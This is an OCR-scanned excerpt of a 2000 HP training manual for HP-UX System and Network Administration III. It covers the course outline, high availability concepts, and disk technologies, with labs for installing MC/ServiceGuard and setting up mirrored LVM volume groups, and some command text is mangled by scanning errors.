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Overview

Overview

Course Description

The 5-day advanced HP-UX System and Network Administration III course provides a broad
understanding of real-life issues related to the most important aspects of computer systems
that face a UNIX system administrator, network administrator, and IT manager who is
responsible for maintaining UNIX systems. Topics include high availability, security,
performance, troubleshooting, and operations.

Course Goals

The goal of the course is to provide a broad understanding of important administration areas.
These areas include high availability requirements for crucial systems and networks, IP
internetwork routing protocol, security requirements, monitoring and remediating system
performance bottlenecks, specifying recovery requirements, and implementing a recovery
strategy based on support media

Student Performance Objectives

Module 1 — Introduction
e State the purpose of this course.
* List three tasks of a system administrator once the system is configured and installed.

¢ Differentiate System and Network Administration III from the first two system
administration courses.

Module 2 — High Availability Concepts
¢ Define High Availability (HA) and specify the potential single points of failure of a system.
¢ List the technologies available to address these SPOFs.

¢ Extend this definition of High Availability to include the management and control aspects
of a good HA design.

Module 3 — Disk Technologies for High Availability
* Describe the link technologies available for both mirror and RAID-array strategies.

* Describe and compare these highly-available disk technologies:
XP256 disk arrays
HP AutoRAID arrays
High Availability disk arrays

FibreChannel arrays
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Overview
* Relate the performance characteristics of each technology choice.
* Establish and justify decision criteria for choice of technology and configuration.

¢ Select appropriate strategies to satisfy high availability requirements for file system level
availability.

Module 4 — High Availability Architectures
¢ Summarize the event sequence of a package failover on a highly-available HP-UX cluster.
* Using component symbols, progressively construct a highly-available HP-UX cluster.

¢ Precipitate a failover event and track the process by means of different system-view
utilities.

Module 5 — Internetwork Routing
¢ Describe how routing works at layer 2 and 3 of the OSI model.

¢ List three different configuration (and the advantages/disadvantages of each) for
configuring routes on a workstation.

e List two methods used by the Router Discovery Protocol to find routers on the network.

* List two advantages of routing with the protocol RIP.

Module 6 — Redundant Routing
* Following a specific approach to creation of an alternate route by means of Layer 3

facilities, build and test an alternate network route that will automatically engage when
the primary route fails.

Module 7 — Trusted Systems
¢ List three additional security features available with C2 trusted systems.
¢ Convert a minimally secured HP-UX 11.00 system to a C2 trusted system.

e List two additional C2 security features in the areas of:

— Login Management
— Password Management
— Terminal Management

Module 8 — Operating System Security Threats

e List three different security threats from an OS perspective.
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Overview
* Describe three different methods for plugging security holes at an OS level.

¢ List three security tools available for HP-UX and describe how they work.

Module 9 — Network Security Threats

e List three common ways hackers jeopardize the security of systems attached to the
network.

¢ List three recommendations for plugging the network security holes.

Module 10 — Performance Tools Overview

¢ Identify various performance tools available on HP-UX.

e (Categorize each tool as either real time or data collection.
e List major features of the performance tools.

¢ Compare and contrast the differences between the tools.

Module 11 — Identifying a Disk Performance Bottleneck
e List the four main bottlenecks which limit performance on a computer system.
¢ Identify four symptoms for disk-related bottlenecks.

¢ Use standard UNIX performance tools and HP specific tools to determine if the disk-
related bottleneck symptoms are present.

¢ Identify four symptoms of processes performing large amounts of disk I/O, which
contribute to disk-related bottlenecks.

Module 12 — Tuning Performance Bottlenecks
e List three different areas where performance bottlenecks occur.
* List two hardware solutions for tuning a disk bottleneck.

¢ List three software solutions for tuning a disk bottleneck.

Module 13 — Online Backups
¢ Use LVM mirror to perform an online backup.
¢ Create a JFS snapshot file system.

¢ Use JFS snapshot to perform an online backup.
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Module 14 — General System Troubleshooting
e List three common system errors.

e List four common troubleshooting techniques.

¢ Describe how to “break” out of a hung startup script during boot to multi-user mode.

Module 15 — Troubleshooting Using the Support CD
¢ Use the Support CD to recover an unbootable system.
e List four scenarios in which the Support CD is best used to recover a system.

¢ Describe how the recovery shell can be used to recover a system.

Module 16 — Patch Management at HP-UX 11.00

e List four new patch management attributes introduced with HP-UX 11.00.

¢ List four additional patch management tools which can be added to an HP-UX 11.00
system through a patch.

*  Describe the procedure for committing a patch.

Module 17 — Introduction to Ignite-UX

¢ Compare Ignite-UX and SD-UX.

* Describe the Ignite-UX boot interface.

¢ Understand the usage of the Ignite-UX tool set.

e Perform a cold-installation using Ignite-UX.

Module 18 —System Recovery with Ignite-UX
e Create a “system recovery boot tape” with the nake_r ecovery command.
¢ Create a system recovery archive for a client on the Ignite-UX server.

¢ Describe three different ways to create a system recovery boot tape.

Appendix A — SureStore E Disk Array XP256 — SAN Overview

¢ Be familiar with the Storage Area Network (SAN) as a solution to requirements of the
new business environment.
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Appendix B — SureStore E Disk Array XP256 — Hardware Basics

¢ Be familiar with the principal characteristics of the HP SureStore E product.

Position Relative to Other Related HP Courses
HP- UX System and Network Adm nistration | (H3064S)

or HP-UX Network Adminstration | (H6294S)
|
\Y
HP- UX System and Network Adm nistration Il (H3065S)
|
\Y
HP- UX System and Network Adm nistration |1l (H3045S)

Successful completion of this course can lead to the "master" HP professional certification.

Agenda

Module 1: Introduction

Module 2: High Availability Concepts

Module 3: Disk Technologies for High Availability
Module 4: High Availability Architectures

Module 5: Internetwork Routing

Module 6: Redundant Routing

Module 7: Trusted Systems

Module 8: Operating System Security Threats

Module 9: Network Security Threats

Module 10: Performance Tools Overview

Module 11: Identifying a Disk Performance Bottleneck
Module 12: Tuning Performance Bottlenecks

Module 13: Online Backups

Module 14: General System Troubleshooting

Module 15: Recovering a System using the Support CD
Module 16: Patch Management

Module 17: Introduction to Ignite-UX
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Module 18: System Recovery Using Ignite-UX
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Module 1 — Introduction

Objectives
Upon completion of this module, you will be able to:

e State the purpose of this course.
* List three tasks of a system administrator once the system is configured and installed.

¢ Differentiate System and Network Administration III from the first two system
administration courses.
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Module 1
Introduction

1-1. SLIDE: Welcome to HP-UX System and Network
Administration III!

~ Welcome to HP-UX System and Network
Administration III!

HP-UX Certified
Advanced IT
Professional

o -

Student Notes

The System and Network Administration III course is designed to address the tasks required
of a system administrator after the system has been installed and configured.

The course assumes the student has successfully completed the first two courses in the
system administration sequence. At this point, the student is ready to explore some of the
more “advanced” areas of system administration. These areas include:

¢ Performance monitoring and tuning

¢ Security of the operating system and network

* Troubleshooting and keeping a system up and operational
¢ High availability and addressing “single points of failure”

¢ Additional network capabilities of the system

In addition, the System and Network Administration III course is a recommended
prerequisite course to any of the five Advanced IT Professional Certification workshops.
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Module 1
Introduction

1-2. SLIDE: Topics Covered in System and Network
Administration I

~ Topics Covered in System and Network
Administration I —_—

How to “Configure the System”

Set Up User Accounts
Configure Logical Volumes
Create and Mount Filesystems
Perform Backups

Set Up Terminals

Configure Printers

Manage the Spooler

Student Notes

The objective of the System and Network Administration I course was to cover the core
system configurations needed to set up a system. It addressed common system
administration tasks needed to be performed initially to get the system up and running in a
production environment.

The above slide shows some of the specific configuration tasks covered in the System and
Network Administration I course.
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Module 1
Introduction

1-3. SLIDE: Topics Covered in System and Network
Administration II

= Topics Covered in System and Network
Administration II

How to “Configure the Network Services”

Define IP Address and Subnet for System
Configure NF'S (Network File System)
Configure NTP (Network Time Protocol)
Configure NIS (Network Information System)
Configure DNS (Domain Name Service)
Define Network Routes

Student Notes

The System and Network Administration II course covered how to configure and set up the
networking services on a system. It addressed the configuration of the LAN card, the set up
of the default route, and the procedures to configure many of the common networking
services in a network environment.

The above slide shows some of the specific configuration tasks covered in the System and
Network Administration II course.
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Module 1
Introduction

1-4. SLIDE: Topics Covered in System and Network
Administration III

= Topics Covered in System and Network
Administration III

What to do once the system is configured and
running in a production environment?

e High Availability and MC/SG (5 days)

e Logical Volume Manager (3 days)

¢ Advanced UNIX Networking (5 days) HP-UX Certified
e Security (5 days) Protossional
¢ Performance & Tuning (3 days) N
¢ Troubleshooting (5 days)

e Ignite-UX (3 days)

Troubleshooting

5h &

A 3

18 A
e — %%

Student Notes

The System and Network Administration III course addresses what to do once the system is
configured and the networking services have been set up. The job of the system
administrator does not stop because the system is completely configured and all the
networking services are up. In fact, the system administrator’s job is just beginning.

System and Network Administration III introduces many “specialty” areas of system
administration. All of these specialty areas have separate, dedicated courses to cover the full
topic in greater detail. These length of these courses are typically three to five days.

For many system administrators, they need to become aware of the key issues in many or all
of these areas, but do not have 29+ days to take all the training. The purpose of System and
Network Administration III is to allow a system administrator to gain a high level overview of
some of the issues in each of these areas, without having to take the individual specialty
courses.

If after attending System and Network Administration III a person finds they need more
training in any one area, they can follow this course with the full blown specialty course in that
area.
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Module 1
Introduction

This course should NOT be considered a substitute for taking the specialty course in the
advanced HP-UX curriculum. This course simply introduces topics covered in some of the
advance HP-UX curriculum courses.

A person desiring to become an “HP-UX Certified Advanced IT Professional” should first
complete the base, initial certification ((HP-UX IT Professional) which is based on the
Fundamentals and System and Network Admin I & IT courses. Then they should evaluate the
five “Advanced IT Professional” tracks, which the System and Network Admin III course is
designed to help them do.

After selecting an Advanced IT Professional track and completing all the recommended
courses, the person needs to attend and pass the Advanced IT Professional workshop for that
track to become officially certified.
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Module 1
Introduction

1-5. SLIDE: Course Outline

~ Course Outline

High Availability Concepts

Disk Technologies for High Availability
High Availability Architectures
Internetwork Routing

Redundant Routing

C2 Trusted Systems

Operating System Security Threats
Network Security Threats

Performance Tools Overview

Identifying a Disk Performance Bottleneck
Tuning Performance Bottlenecks

Online Backups

General Operating System Troubleshooting
Troubleshooting Using the Support Media
Patch Management

Introduction to Ignite-UX

Recovering a System with Ignite-UX

Student Notes

The above slide shows topics to be covered in the System and Network Administration III

course.

These topics are all covered in more detail in the various courses within the advanced HP-UX
system administration curriculum.
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Module 1
Introduction

1-6. SLIDE: The Appetizer Sampler Platter

— The Appetizer Sampler Platter

Student Notes

This course has often been compared to “an appetizer sampler platter” served at restaurants.
The course is intended to give an overview, or “taste”, of seven different advanced system
administration courses. The seven different course sampled are:

¢ High Availability & MC/ServiceGuard (H6487S)
— Mod 2: High Availability Concepts
— Mod 3: Disk Technologies for an High Availability Environment
— Mod 4: High Availability Architectures

¢ Advanced UNIX Networking (H1690S)
— Mod 5: Internetwork Routing
— Mod 6: Redundant Routing

¢ Practical UNIX and Network Security (H3541S)
— Mod 7: C2 Trusted Systems
— Mod 8: Operating System Security Threats
-  Mod 9: Network Security Threats
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Module 1
Introduction

e HP-UX Performance and Tuning (H5278S)
— Mod 10: Performance Tools Overview
— Mod 11: Identifying Performance Bottlenecks
— Mod 12: Tuning Performance Bottlenecks

¢ Hands On with LVM, MirrorDisk, and JFS (H6285S)
— Mod 13: Online Backups

¢  HP-UX Troubleshooting (H5368S)
— Mod 14: General Operating System Troubleshooting
— Mod 15: Troubleshooting using the Support Media
— Mod 16: HP-UX Patch Management

¢ Managing Software with Ignite-UX (H1978S)
— Mod 17: Overview of Ignite-UX
— Mod 18: System Recovery with Ignite-UX
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Introduction

H3045S C.00 1-10 http://feducation.hp.com
00 2000 Hewlett-Packard Company



Module 2 — High Availability Concepts

Objectives
Upon completion of this module, you will be able to:

* Define High Availability (HA) and specify the potential single points of failure of a system.
* List the technologies available to address these SPOFs.

* Extend this definition of High Availability to include the management and control aspects
of a good HA design.

http://feducation.hp.com 2-1 H3045S C.00
00 2000 Hewlett-Packard Company



Module 2
High Availability Concepts

2-1. SLIDE: What Is High Availability?

~ What Is High Availability?

A system is highly available if a single component or resource
failure interrupts the system for only a brief time.

What is a System? (Computer? Network? Application?)

What is a Resource?  (Hardware? Software? OS? Database?)

What is a Failure? (Disk Crash? Too many packets? Full Filesystem?)
What is a Interruption? (Reboot? User Reconnect? Poor performance?)
What is a Brief time? (Minutes? Hours? Days?)

HIGH AVAILABILITY ISA DESIGN! Depends on the

viewpoint . . . .

Student Notes

The above definition of High Availability (HA) is very general and requires expansion of the
terms: system, resource, failure, interrupts and brief time. These definitions will vary
depending on the viewpoint. For example, system and resource tend to mean hardware to
an administrator. To an application user however, the ktlling of a database process is a
failure resulting in loss of availability of a soft resource.

The term system is in many cases, includes more than just the hardware. Depending on the
“system” being kept highly available, it could include operating system resources, application
processes, databases, and the ability of the users to access and connect to those resources.

Some failures can be handled transparently without any interruption (for example, disk
failure in a RAID array, single bit memory error). Other failures can result in complete loss of
service, and a restart. The priority of an HA system is to minimize the duration of the
interruption (initially minutes) and reduce it to zero for most types of failures.

The focus in a high availability environment is TIME. It is being able to recover from any
single point of failure in as brief a period of time as possible.
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Module 2
High Availability Concepts

2-2. SLIDE: Computer System Availability

— Computer System Availability

System: Computer —
=i |

Resources: CPU, :

Memory, : —m -

Disk : ——
Failures: System Crash, - =

Disk Failure
Interruption: System Reboots,

Replace Failed Hardware

Outage Time: Minutes to Days

Student Notes

Computer system availability is the concern of the system administrator. The primary
objective in computer system availability is ensuring the “computer” stays up without any
failed hardware resources.

In looking at the HA term as it relates to the computer availability, the above slide gives
examples for each term:

¢ The “system” being kept highly available is the computer.

¢ The “resources” upon which a computer is dependent are predominantly hardware.
These resource include CPUs, memory, disk drives, controller cards, power, etc. Failure
of any of these resources would cause the computer to become unavailable.

¢ The “failures” include events that would cause the resources to become unavailable.
Examples of possible failures include CPU failures, disk drive crash, double-bit memory
parity errors, power outages, etc.

¢ The “interruptions” caused by the above failures almost always require a system reboot.
In many cases, the interruption also includes the replacement of the failed hardware
component.
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Module 2
High Availability Concepts

¢ The “outage time” could be as short as minutes if the interruption is just a system reboot.
Or it could take days if a field engineer needs to come on site to replace a failed hardware
component.
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Module 2
High Availability Concepts

2-3. SLIDE: Network Availability

Network Availability

System: Network
Resources: Computers, Routers, Hubs,

LAN Cables, Backbone,

Modems, Phone lines \H
Failures: Failed Network Hardware,

Bad cables,

High Packet Collision Rate

Interruption: Slow User Response,
User Reconnects,
Replace Failed Hardware

Outage Time: Minute to Days

Student Notes

Network availability is the concern of the network administrator. The primary objective in
network availability is ensuring computers and other network devices can communicate
with each other.

In looking at the HA terms as it related to the network availability, the slide gives examples
for each terms:

¢ The “system” being kept highly available is the network.
¢ The “resources” upon which the network is include the routers, bridges, hubs, network

interface cards (NICs), etc. Failure of any of these resources would cause the network to
potentially become unavailable.

¢ The “failures” include any resource failure. These include disconnected cables, power
surges and power outages, equipment being accidentally powered off, etc.

¢ The “interruptions” caused by the above failures almost always results in a temporary
loss of node-to-node communications.
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Module 2
High Availability Concepts

¢ The “outage time” could be as short as minutes if a secondary route between the two
nodes does not exist. Or it could take hours if an engineer needs to come on site to
fix/replace a network component and only a single route between two nodes is available.
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Module 2
High Availability Concepts

2-4. SLIDE: Application Availability

— Application Availability

System: Application

Resources: Computers, Networks,
Operating System Resources

Failures: System Crash,
Network Component Failure,
Full Filesystem, Performance Paralysis

Interruption: Slow Reponse Time, System Reboots,
Replace Failed Hardware

Outage Time: Minutes to Days

Student Notes

Application availability is the concern of the end user, the system administrator, and the
network administrator. The primary objective in application availability is ensuring the end
user has continuous access to the application (often a client/server network-based
application).

In looking at the HA terms as it related to the application availability, the slide gives
examples of each terms:

e The “system” being kept highly available is the application.

e The “resources” upon which the application is dependent are software and hardware
resources. These resource computers, networks, OS and application resources. Failure
of any of these resources would cause the application to potentially become unavailable
to the end user.

¢ The “failures” include any resource failure that would prevent the end-user from properly
accessing the application. These include any previously discussed system and/or
network failures, or the lost of free disk space (as in a full file system) or the unplanned
termination of an application process.
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Module 2
High Availability Concepts

¢ The “interruptions” caused by the above failures almost always results in the application
becoming unavailable to the end-user. In many cases, the interruption will require the
end-user to reconnect to the application (i.e. log back in).

¢ The “outage time” could be as short as minutes or it could take as long as depending on
the failure.
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Module 2
High Availability Concepts

2-5. SLIDE: Analogy: Making a Car Highly Available

Analogy: Making a Car Highly Available

e (Carry spare tire in trunk.

e Monitor and maintain critical resource levels (gas, oil).
e Join automobile club.

e Keep a second car as a backup.

Student Notes

When thinking about high availability of computers, networks, or applications, it often helps
to relate this to something many people depend on and have already made highly available:
their automobiles.

Similar to having our cars break down during rush hour is one of our worst fears, having a
critical system breakdown during a production period is an IT managers worst fear.

There are a number of analogies that can be made between keeping our cars highly available
and keeping computers highly available.

1. With our cars we carry a spare tire in the trunk in case one of the four main tires gets
punctured. With computers we mirror or use a parity disk in case one of the primary
drives experiences a failure.

2. With our cars we continually monitor critical resources like our gas and oil levels. With
computers we monitor critical resources like free disk space, swap space, and memory to
ensure a resource outage does not occur.
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3. With our cars, we join an automobile club so we can call for emergency service if our car
breaks down. With computers, we signup for computer and response center support for
when computers experience problems.

4. If we can afford it, we keep a second car as a backup if our first car fails. If we can afford
it, we cluster a second computer with the first in case the first computer fails.
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2-6. SLIDE: Reducing the Risk

~ Reducing the Risk

Risk ! —»\ S~ Risk!

ey \. . Time !
4 Risk!
& v
Risk Backups
/' Risk! Risk ! Upgrades
Risk !

&8 | Risk!

==

==

Student Notes

This simple schematic illustrates some common Single Points of Failure (SPOFs). The
common perception is that SPOFs are only hardware related:

But if the “system” is the application, then resources like the operating system, kernel
parameters and administration mistakes (Kill -9 the wrong process) must also be included.

Other aspects to consider are not only the availability of the system or application(s) but
response times and performance. The performance of a server may be poor as a result of
heavy demand or bad configuration. From the viewpoint of end-users and client applications,
it might as well be unavailable. HA technologies and designs can accommodate this
situation.

HA design should consider the possible management and control potential, as well as the
reactive to failure elements.

HIGH AVAILABILITY IS A DESIGN !
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2-7. SLIDE: Reducing the Risk (Continued)

~ Reducing the Risk (Continued)
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: — Risk !
Risk | — Primary
4 — . Time !
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~— . Backups
/' Upgrades
Mirror

Risk !

MirrorDisk/UX or RAID ?

Student Notes

The first HA consideration is usually related to data and disk drives. A design incorporating
some form of hardware RAID technology or soft mirroring is common. We will compare the
features and benefits of these two approaches later.

From both an HA perspective AND performance, the design should include multiple
controller paths and cables. LVM PV links are only used in the event of a primary path
timeout, and do not load share. Good RAID array design and configuration will utilize all
controllers, each acting as PV link paths for the other, resulting in HA and load sharing.

What type of RAID array and level to use cannot be taken in isolation, but must consider
other technologies.

¢ Is online backup a requirement?
¢ How easy is it to replace a failed disk drive?

¢ Isit necessary to mix RAID levels, and tune for performance?

HIGH AVAILABILITY IS A DESIGN !
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2-8. SLIDE: Reducing the Risk (Continued)

~ Reducing the Risk (Continued)
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Student Notes

If there is only one computer, there is an SPOF. Utilizing MC/ServiceGuard (or in some
circumstances MC/Lockmanager), an HA cluster can be designed which allows other
system(s) to provide a support environment for the applications and services. These
additional nodes will require access to the disk drives and networks. The HA software
monitors the health of the nodes and services, and takes appropriate action on failures.

This design should also facilitate the easy movement of applications between systems,
allowing system upgrades (both hardware and OS software) to be performed with minimum
planned downtime. (The downtime would just be the time taken to close the application on
one system and restart it on the other.)

Depending on the shared disk technology, it is also possible to perform backups from the
second system.

HIGH AVAILABILITY IS A DESIGN !
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2-9. SLIDE: Reducing the Risk (Continued)

~ Reducing the Risk (Continued)
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Student Notes

An HA design aims to remove or allow for Single Points of Failure.

In an HA cluster, clients will access the services via the network. This is another SPOF that
can be accommodated by the cluster software.

Using multiple LAN controller cards (LANICS), hubs, bridges and cabling etc., a system can
switch rapidly to a standby LANIC without any perceived interruption by clients.

Applications and services can also be linked to network availability such that they will
relocate to another system if such a standby is not available and the monitored network fails
on this system.

¢ What about power supplies?
e What procedures are followed after a failure?
¢ Is the HA system documented?

e Operators and support personnel need training.
HIGH AVAILABILITY IS A DESIGN !
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2-10. SLIDE: Terminology

| .
Terminology
e Availability % Availability per Year Time Unavailable per Year
 Uptime (based on 24 x 7) (based on 24 x 7)
- 24x7 99.999 5.4 minutes
— 24%x6.75 99.99 52.8 minutes
16x5 99.95 4.4 hours
- X 99.90 8.8 hours
e Downtime 99.86 12.3 hours
— planned 99.82 15.8 hours
99.73 24.0 hours
— unplanned 99 3.6 days
¢ Outage 98 7.2 days
. . . 97 10.8 days
¢ Single Points of Failure 96 14.4 days
(SPOFs) 95 18.0 days
“ Availability” measures uptime minus the unplanned downtime
(unplanned downtime includes resource outages and other SPOFs)

Student Notes

By common usage, uptime accounts for planned downtime. For some customers, there is no
acceptable amount of downtime, so the availability is 24 x 7.

Downtime is another way of viewing system availability. People refer to planned downtime
for such activities as backups, OS and application upgrades, and occasional repairs.
Unplanned downtime occurs due to an unexpected event, such as a kernel panic or a
hardware failure. If the system remains down until it is repaired, unplanned downtime can
turn into a significant amount of time.

An outage occurs when the application is not available to the users. HA products attempt to
reduce the number and length of outages by providing redundant hardware and rapid failover.

Availability usually ignores planned, or scheduled downtime. It is always expressed as a
percentage.

These terms are often misused. Always make sure that all parties agree on the defined end
result of an HA design.

HIGH AVAILABILITY IS A DESIGN !
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2-11. SLIDE: High Availability Products

High Availability Products
A Continuously Future Products
Available »  Campus, Metro, Continental
Systems Clusters
MC/ServiceGuard
Highly MC/LockManager
Availabl OnLine JFS
Svalt able I Process Resource Manager
ystems ClusterView
Protected MirrorDisk/UX & Hot Swap Enclosures
Data > HP Disk Arrays/ EMC Disk Arrays
JFS
Reliable HP 9000 Systems
Systems HP peripherals
HP-UX
Student Notes

Availability starts with reliable systems and peripherals. HP hardware quality and reliability
is among the best in the industry.

HP-UX is a mature OS, and version 10 and 11 can use memory page deallocation to avoid
double memory bit failures causing a system panic. Single errors are handled by ECC.

Data protection is in hardware and/or software. MirrorDisk/UX provides 2 or 3 way
mirroring of data. Disk arrays also provide data protection while adding hot-swap and hot

standby capabilities. JF'S provides fast file system recovery.

Online JFS includes file system resizing, defragmentation, and snapshot backups with the
files system still active.

The next level utilizes MC/ServiceGuard or MC/Lockmanager clustering software.

We will examine and compare some of these technologies. Remember, these are only
PRODUCTS.

HIGH AVAILABILITY IS A DESIGN !
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2-12. LAB: Installation of M(C/ServiceGuard Software

Directions

The following exercise installs the MC/ServiceGuard software. The MC/ServiceGuard
software needs to be installed on all nodes within the cluster.

1. List all existing software bundles on the system. Verify that MC/ServiceGuard is not
installed. Use the sW i st command and gr ep for’ Servi ce GQuard’ .

2. Run the Software Distributor swi nst al | command.

3. At the Specify Source window, accept the default host name and default depot name.

4. At the Software Selection window, select the MC/ServiceGuard product, EMS, and the
MC/ServiceGuard Toolkits (NF'S and Enterprise Cluster Master).

5. Once the software has been selected, go to the Action Menu and select Install (Analysis).

6. When the analysis phase completes, the status of the installation will change to READY.
Select [ OK | to continue with the installation.
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7. When the installation phase completes, the status of the installation will change to
COVPLETE. Select to exit the window.

8. Select from the File menu to exit Software Distributor.
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Module 3 — Disk Technologies for High
Availability

Objectives
Upon completion of this module, you will be able to:

* Describe the link technologies available for both mirror and RAID-array strategies.

* Describe and compare these highly-available disk technologies:
XP256 disk arrays
HP AutoRAID arrays
High Availability disk arrays

FibreChannel arrays
* Relate the performance characteristics of each technology choice.
* Establish and justify decision criteria for choice of technology and configuration.

* Select appropriate strategies to satisfy high availability requirements for file system level
availability.
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3—-1. SLIDE: The Decision

~ The Decision

The Choices

e SANSs (Storage Area Networks)
¢ Disk Arrays

e JBODs (Justa Bunch Of Disks)

What are MY priorities ?

The Issues

e Total capacity
e Cost

¢ Performance

¢ Ease of administration

¢ Redundancy and HA features
¢ Ease of repair

¢ Backup options

e (Controller to disk distance

Student Notes

Disk technologies have been changing with new generation hardware available every nine to
twelve months. Computer buyers may have trouble keeping up with the changes, let alone
understand them. RAID technology in particular has become popular in the marketplace.
RAID, an acronym for Redundant Arrays of Inexpensive Disks, was designed as an alternative
to Single Large Expensive Disks (SLED) and are used on supercomputers and mainframes.
There are always compromises to be made when choosing a disk technology, and the High
Availability (HA) environment seems to be where much of the controversy exists. Computer
buyers want a disk technology that provides the best availability for the least cost.

Data redundancy is necessary to prevent a single disk failure from causing an outage. There
are two methods available for providing data redundancy: mirrored standalone disks and
Disk Arrays with RAID protection in hardware. Each has advantages and disadvantages.

Today there are two main decisions that need to be made when configuring a high availability
environment. The first is whether to implement Fibre Channel in a SANs (Storage Area
Network) environment or use standard SCSI disk link technology. The second decision is
whether to implement RAID and disk array or to use JBODs with MirrorDisk/UX.
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3-2. SLIDE: Disk Technology Options

— Disk Technology Options

Storage
Area
Network

Disk
Arrays

HP AutoRAID HP HA Disk Arrays XP256 Disk Array

JBODs HP HA Storage Systems
(Just a Bunch with MirrorDisk/UX
of Disks)

Student Notes

There are many options for configuring disk access in a high availability environment.

A popular solution for high-end customers with multi-gigabyte storage requirements or a
large-scale data warehousing application is SANs (Storage Area Networks). The SANs
environment moves the disks from being direct connect, server storage devices to being
network-connected, multi-system accessible devices. Much like printers have moved to a
network-based access method, so too have disks moved to a network-based access method.

Once the disk access method has been decided, the next decision is whether to employee
RAID and disk arrays, or whether to use JBODs and MirrorDisk/UX. Here the choice is
somewhat forced based upon the data capacity requirements. For example, if the need is for
ten terrabytes (10,000 GB) of disk space, it is unlikely to be realized with JBODs. A more
realistic solution would be XP256 disk array units.
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3-3. SLIDE: HA Storage System for JBODs

~ HA Storage System for JBODs

e Storage System for JBODs
¢ Redundant Hardware Components

— Dual Power Supplies
— Dual Power cords
— Dual Fans
— Dual SCSI paths
e Need LVM MirrorDisk/UX
e Two SCSI controllers for performance and HA % %
e Transparent to Application
— | ==
3 3
= |==
HASS L2 ) |L2 ]
Primary Mirror
Student Notes

The most cost effective solution in an HA environment are the JBODs (Just a Bunch Of
Disks). Hewlett Packard offers the JBOD solution in a hot pluggable storage cabinet known
has the HASS (High Availability Storage Solution).

The hot plug HASS enclosures provide increased availability in two ways. First, the
redundant hardware components, such as power supplies, fans, and power cords, prevent
some failures from impacting the system.

Second, should a component failure occur, the hot plug capability of the redundant
components and disk drives allows for component repair without shutting down the unit or
system. The disk drives are easily accessible from the front of the cabinet, similar to RAID
arrays. The disk storage modules are designed with the SCSI bus and connectors made so
the bus is always terminated. The HASS does not have the problems of previous JBOD
configurations that require extra long F/W SCSI cables, the removal of the chassis from the
cabinet, and the removal of the cover before the individual disk mechanisms is replaced.

It is important to note however, that OS cooperation is still required when removing a disk
module from the HASS, since the HASS itself does NOT provide any data protection or
regeneration of data on a newly replaced disk module.
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3-4. SLIDE: Sample HA Environment using HASS

~ Sample HA Environment using HASS

HASS

Primary Mirror

Student Notes

When using the HASS in an HA environment, one SCSI bus is used to access the primary
disks, and the second SCSI bus is used to access the mirrored drives. By separating the
primary and mirrored disks onto different SCSI busses, and then using HP’s MirrorDisk/UX
product to perform the mirroring of the data, a high level of availability is realized related to
the data. The system can now survive any single-point-of-failure in the SCSI controller cards,
SCSI cables, or SCSI disks.

A common mistake often made when cabling a HASS in an HA environment is forgetting to
change the SCSI address of the SCSI controller on the second system. By default, HP ships
all SCSI controllers with an address of 7. Since SCSI technology does not allow two devices
on the same SCSI bus to have the same addresses (even SCSI controller cards), the address
of one of the SCSI cards must be changed (usually to an address of 6).

Note that the HASS does not offer any hardware RAID capabilities.

The biggest disadvantage of using JBODs is that the total disk capacity is limited since each
disk requires a SCSI target address. F/W SCSI has a maximum of 16 addresses. In a full HA
system using clustering technology, each cluster node SCSI controller will take an address,
limiting disk capacity even more.
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3-5. LAB: LVM Mirrored Disk Configuration for an
MC/ServiceGuard Environment

Directions

Configure a shared volume group on both nodes within the cluster.

Fill in the following information before starting the lab:

Volume group name:

Physical volumes (device file names):

Setting Up the Volume Group

1. List all existing volume groups on the system.
I'l /dev/*/group

2. Make a directory for a new volume group.
nmkdi r /dev/vgOl

3. Create a group file for the volume group.
nknod /dev/vg0l/ group ¢ 64 0x010000

4. Prepare the disk to be used within the volume group.

pvcreate -f /dev/rdsk/cOt1dO
pvcreate -f /dev/rdsk/clt2d0

5. Create the new volume group.
vgcreate /dev/vg0l /dev/dsk/cOt 1d0 /dev/ dsk/clt2d0
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Setting Up a Logical Volume for MC/ServiceGuard

1. Create the new logical volume.

| vcreate -L 20 -n ntsg /dev/vgol

2. Mirror the new logical volume.

| vextend -m 1 /dev/vg0l/ ntsg

3. Create a journaled file system on the logical volume.

newfs -F vxfs /dev/vg0l/rntsg

4. Make a mount point directory.
nkdir /ntsg_dir

5. Mount the file system to the mount point directory.
mount /dev/vg0l/ntsg /ncsg dir
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Importing LVM Configurations to a Second System

1. From the first system, export the LVM configuration information.

vgexport -p -s -m/tnp/lvm map /dev/vg0l

NOTE: The following message is just a warning, you will notice that the map
file is created anyway.

Warning: Volume group vgnane is still active.

2. Transfer the map file over to the second system.

rcp /tnp/lvm map second_system/tnp/ |l vm nmap

3. On the second system, make the directory for the volume group (to be imported).
nkdi r /dev/vg0ol

4. On the second system, create the group file for the volume group.
nmknod /dev/vg0l/ group ¢ 64 0x010000

5. On the second system, import the volume group.
vgi nport -s -m/tnp/lvm map /dev/vg0l
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3-6. SLIDE: Disk Technologies RAID Disk Arrays

Disk Technologies
RAID Disk Arrays —

Model 20 F/W SCSI Disk Arrays
Model 30/FC Fibre Channel Disk Arrays
AutoRAID F/W SCSI Arrays
XP256 Sure Store E Disk Array
— F/W SCSI or Fibre Channel

Student Notes

Disk Arrays are collections of disk drives in their own common enclosure with high level
storage processor(s) that control the complete functions of the RAID array. These storage
processors control caching, RAID levels, sparing and data recovery completely independent
of the OS.

The HA Disk Array models 10, 20 and 30FC provide much greater flexibility, choice of
redundancy and total disk capacity than LVM MirrorDisk/UX. The Model 30/FC HA disk
array is available only in a Fibre Channel configuration.

The AutoRaid arrays are the newest generation of disk arrays, and require much less time for
configuration and administration. They have redundant, hot-plug controllers, fans, power
supplies, fans, and disk mechanisms. They also have two power cords.

The SureStore E XP256 disk array is HP’s high end solution for large data requirements. With
the XP256 disk array, the controller interfaces can be F/W SCSI or Fibre Channel. They offer
other options above basic RAID. The rules for configuring these behemoths are quite
different from the rules for configuring the other HA disk arrays.
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3-7. SLIDE: RAID Logical Units (LUNs)

RAID Logical Units (LUNSs)
System 2
0 4 Sﬂﬁﬂ scsl 4
= = — ————————— Hardware Path
83.0&124.0
LUN | L J J 1 /dev/dsk/c2t3d0
0 K ) (4 — /dev/dsk/c3t4d0
_——_, —m Y = ==L .
FITIIN  N S —
— 1 Hardware Path
LUN 831&124.1
1 3 M/ —— /dev/dsk/c2t3d1
/dev/dsk/c3t4d1
) N— ™ e
—_——md e = = =1L - .
LUN — — /dev/dsk/c2t3d2
2 I LI J ]| /dev/dsk/c3tdd2
Student Notes

Before a RAID array can be used, it must be configured. The internal disks are bound into
logical units (LUs) at particular RAID level using the internal storage processors (SP) and
firmware. The HA disk arrays use Grid Manager which has a basic interface via a VI'100
terminal and serial connection (or via SAM), to perform this function.

